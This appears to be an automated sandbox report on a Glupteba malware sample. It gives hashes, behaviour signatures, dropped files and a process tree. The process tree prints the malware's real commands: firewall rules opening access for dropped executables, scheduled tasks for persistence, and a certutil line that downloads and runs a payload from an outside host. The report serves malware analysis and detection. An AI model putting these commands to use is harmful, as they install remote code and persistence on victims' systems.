Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-09-2024 06:19

General

  • Target

    cedec10973796e3c17ba2252f1f390ea_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    cedec10973796e3c17ba2252f1f390ea

  • SHA1

    ba900e42990c0fb457e58bf22b10fde2bf41f38f

  • SHA256

    a59eb7e5b948c224e4500fb8b07fe441e66761181dbb1d63a3c207b4fde4a02a

  • SHA512

    73b5b0de5c46c10003930c3726c053a2fed612f36d4598cd57a3c6eb8a24d207fc4296d916d35361dea336465919ba429bb9fd175db1aff68d2d5d05623b7f49

  • SSDEEP

    98304:JvzthvKRKrF9/aWlpeKotKVbR45rFMuVWtO8P1O:dzKRKrF9yW+tMVbR4RuuYr1O

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 22 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\cedec10973796e3c17ba2252f1f390ea_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\cedec10973796e3c17ba2252f1f390ea_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3464
    • C:\Users\Admin\AppData\Local\Temp\cedec10973796e3c17ba2252f1f390ea_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\cedec10973796e3c17ba2252f1f390ea_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2176
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2520
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:2100
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\9c3960131018\9c3960131018.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2948
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\9c3960131018\9c3960131018.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:1360
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5028
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5052
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1084
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:3996
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1580
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2176 -s 828
        3⤵
        • Program crash
        PID:5040
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3464 -s 760
      2⤵
      • Program crash
      PID:3256
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3464 -ip 3464
    1⤵
      PID:1844
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2176 -ip 2176
      1⤵
        PID:3424

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      • C:\Windows\rss\csrss.exe

        Filesize

        3.9MB

        MD5

        cedec10973796e3c17ba2252f1f390ea

        SHA1

        ba900e42990c0fb457e58bf22b10fde2bf41f38f

        SHA256

        a59eb7e5b948c224e4500fb8b07fe441e66761181dbb1d63a3c207b4fde4a02a

        SHA512

        73b5b0de5c46c10003930c3726c053a2fed612f36d4598cd57a3c6eb8a24d207fc4296d916d35361dea336465919ba429bb9fd175db1aff68d2d5d05623b7f49

      • memory/2176-8-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/2176-9-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/2176-10-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/2176-16-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/3464-1-0x0000000002E10000-0x00000000031BF000-memory.dmp

        Filesize

        3.7MB

      • memory/3464-2-0x00000000031C0000-0x00000000038BA000-memory.dmp

        Filesize

        7.0MB

      • memory/3464-3-0x0000000000400000-0x0000000000B14000-memory.dmp

        Filesize

        7.1MB

      • memory/3464-5-0x00000000031C0000-0x00000000038BA000-memory.dmp

        Filesize

        7.0MB

      • memory/3464-4-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/3464-6-0x0000000000400000-0x0000000000B14000-memory.dmp

        Filesize

        7.1MB

      • memory/5028-21-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/5028-22-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/5028-23-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/5028-24-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/5028-25-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/5028-26-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/5028-27-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/5028-28-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/5028-29-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/5028-30-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/5028-31-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/5028-32-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/5028-33-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB

      • memory/5028-34-0x0000000000400000-0x0000000000FC1000-memory.dmp

        Filesize

        11.8MB